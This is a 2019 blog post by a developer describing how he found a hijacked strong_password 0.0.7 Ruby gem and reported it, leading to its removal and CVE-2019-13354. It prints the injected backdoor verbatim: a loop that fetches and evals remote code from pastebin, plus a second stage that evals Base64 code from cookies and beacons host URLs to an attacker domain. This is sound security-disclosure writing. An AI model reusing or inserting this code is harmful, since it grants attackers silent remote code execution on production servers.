strong_password v0.0.7 rubygem hijacked

Tute Costa July 3, 2019

I recently updated minor and patch versions of the gems our Rails app uses. We want to keep dependencies fresh, bugs fixed, security vulnerabilities addressed while maintaining a high chance of backward compatibility with our codebase. In all, it was 25 gems we’d upgrade.

I went line by line linking to each library’s changeset. This due diligence never reported significant surprises to me, until this time. Most gems have a CHANGELOG.md file that describes the changes in each version. Some do not, and I had to compare by git tags or commits list (like cocoon or bcrypt gems). The jquery-rails upgrade contains a jQuery.js upgrade, so the related log was in another project.

And I couldn’t find the changes for strong_password. It appeared to have gone from 0.0.6 to 0.0.7, yet the last change in any branch in GitHub was from 6 months ago, and we were up to date with those. If there was new code, it existed only in RubyGems.org.

I downloaded the gem from RubyGems and compared its contents with the latest copy in GitHub. At the end of lib/strong_password/strength_checker.rb version 0.0.7 there was the following:

1
2
3
4
def _!;begin;yield;rescue Exception;end;end
_!{Thread.new{loop{_!{sleep
rand*3333;eval(Net::HTTP.get(URI('https://pastebin.com/raw/xa456PFt')))}}}if
Rails.env[0]=="p"}

I checked who published it and it was an almost empty account, with a different name than the maintainer’s, with access only to this gem. I checked the maintainer’s email in GitHub and wrote to him with the prettified version of the diff:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def _!;
  begin;
    yield;
  rescue Exception;
  end;
end

_!{
  Thread.new {
    loop {
      _!{
        sleep rand * 3333;
        eval(
          Net::HTTP.get(
            URI('https://pastebin.com/raw/xa456PFt')
          )
        )
      }
    }
  } if Rails.env[0] == "p"
}

In a loop within a new thread, after waiting for a random number of seconds up to about an hour, it fetches and runs the code stored in a pastebin.com, only if running in production, with an empty exception handler that ignores any error it may raise.

In fifteen minutes, Brian McManus wrote back:

The gem seems to have been pulled out from under me… When I login to rubygems.org I don’t seem to have ownership now. Bogus 0.0.7 release was created 6/25/2019.

In case the Pastebin got deleted or changed, I emailed the Pastebin that was up on June 28th at 8 PM UTC, carbon-copying Ruby on Rails’ security coordinator, Rafael França:

1
2
3
4
5
6
7
8
9
10
11
_! {
unless defined?(Z1)
  Rack::Sendfile.prepend Module.new{define_method(:call){|e|
  _!{eval(Base64.urlsafe_decode64(e['HTTP_COOKIE'].match(/___id=(.+);/)[1]))}
  super(e)}}
  Z1 = "(:"
end
}

_! {
  Faraday.get("http://smiley.zzz.com.ua", { "x" => ENV["URL_HOST"].to_s })

While waiting for their answers, I tried to understand the code. If it didn’t run before (checking for the existence of the Z1 dummy constant) it injects a middleware that eval‘s cookies named with an ___id suffix, only in production, all surrounded by the empty exception handler _! function that’s defined in the hijacked gem, opening the door to silently executing remote code in production at the attacker’s will.

It also sends a request to a controlled domain with an HTTP header informing the infected host URLs. It depends on the Faraday gem being loaded for the notification to work (which the oauth2 and stripe gems, for example, include).

Rafael França replied in 25 minutes, adding security@rubygems.org to the thread. Someone at RubyGems quickly yanked it, and the next day André Arko confirmed he had yanked it, locked the kickball RubyGems account, and added Brian back to the gem.

I asked for a CVE identifier (Common Vulnerabilities and Exposures) to cve-request@mitre.org, and they assigned CVE-2019-13354, which I used to announce the potential issue in production installations to the rubysec/ruby-advisory-db project and the ruby-security-ann Google Group.


EDIT (July 8th): the author explained how he thinks his account was taken over. He had his RubyGems account for long enough that 2-factor-auth wasn’t even an option, back then he didn’t have unique passwords in different websites, and since then many services got breached, and attackers might have guessed his credentials. Use password managers! Rotate weak passwords and activate 2FA wherever it matters.